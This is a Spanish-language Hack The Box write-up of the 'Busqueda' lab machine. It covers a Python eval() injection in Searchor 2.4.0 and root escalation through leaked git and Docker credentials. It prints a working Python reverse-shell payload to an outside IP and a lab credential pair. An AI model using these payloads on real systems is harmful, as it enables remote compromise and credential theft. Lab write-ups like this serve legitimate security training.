Entrada

Write-up Busqueda [Easy] - Hack The Box

Write-up Busqueda [Easy] - Hack The Box

Publicación del write-up de sujeto a las guías generales de Hack The Box.

Write-up Busqueda [Easy] - Hack The Box


Mi perfil de Hack The Box: julianglez16

Enumeración

Puertos

Untitled.png

Directorios web

Untitled.png

Virtual hosts

Tecnologías web

Untitled.png

Funcionalidad web

Untitled.png

Untitled.png

Al realizar una búsqueda cualquiera con el checkbox desmarcado se nos redirige a una web con una URL.

Untitled.png

Análisis con BurpSuite

Al realizar una búsqueda se realiza una petición POST al servidor web

Untitled.png

Explotación

Usuario

La página web hace uso de una herramienta OpenSource llamada Searchor en la versión 2.4.0. Al buscar esta herramienta en google se puede obtener su código fuente desde Github. En la versión 2.5.0 se cambia una funcionalidad relacionada con la generación de la URL que se obtiene al realizar una búsqueda, eliminando el uso de la función eval() de python para su generación.

Analizando el código fuente se puede observar una posible entrada a través de una inyección de comandos en el servidor gracias a la función eval() de python.

Código vulnerable de la herramienta Searchor

Para inyectar código se necesita que las líneas de código relacionadas con la función eval() de python sean modificadas. Para realizar esto, se utiliza el payload ‘),# para obtener un código similar al siguiente:

Untitled.png

Una vez realizada la inyección se utiliza el payload '), import('os').popen('ping -c10 127.0.0.1')# para comprobar si existe un retardo de 10 segundos en la respuesta del servidor y comprobar así que existe una inyección de código.

En la respuesta del servidor se puede observar que sí que existe dicha inyección debido al restardo y a la respuesta HTML que se recibe.

Untitled.png

Conociendo esto, se utiliza la función exec() de python para generar un shell reverso hacia nuestra máquina y obtener conexión con el usuario. El payload para el shell reverso es el siguiente: '), exec('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.72",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")')#

Untitled.png

Root

Una vez conectados a la máquina, en el directorio /var/www/app/.git se encuentra un fichero config en el que se ven las credenciales de un usuario: cody:jh1usoih2bkjaspwe92

Untitled.png

Al hacer sudo -l con esas credenciales se obtienen los ficheros que se pueden ejecutar con sudo desde el usuario svc

Untitled.png

En el fichero config donde se encontraron las credenciales también se puede ver un subdominio de la máquina al que se puede acceder: http://gitea.searcher.htb

Untitled.png

Al hacer login con las credenciales obtenidas del usuario se puede ver que existe un usuario Administrator

Untitled.png

De vuelta al fichero de python con permisos de ejecución con sudo desde el usuario svc se puede observar lo siguiente:

Untitled.png

Contenedores activos en la máquina

Untitled.png

Untitled.png

Al utilizar la funcionalidad docker-inspect se puede obtener información de los contenedores activos en la máquina. Con la opción ‘{{json .}}’ en el argumento <format> se obtienen contraseñas interesantes de la base de datos MySQL disponible en uno de los contenedores.

Untitled.png

En este caso, la contraseña declarada en la variable de entorno MYSQL_PASSWORD del contenedor coincide con la contraseña del usuario administrator en el portal de Gitea. Esto nos da acceso al código fuente del script system-checkup.py, revelando que el comando ejecuta un script de bash llamado full-checkup.sh.

Untitled.png

Tras averiguar esto, solamente hay que crear un script de bash que nos de acceso como root

Untitled.png

Untitled.png

Esta entrada está licenciada bajo CC BY 4.0 por el autor.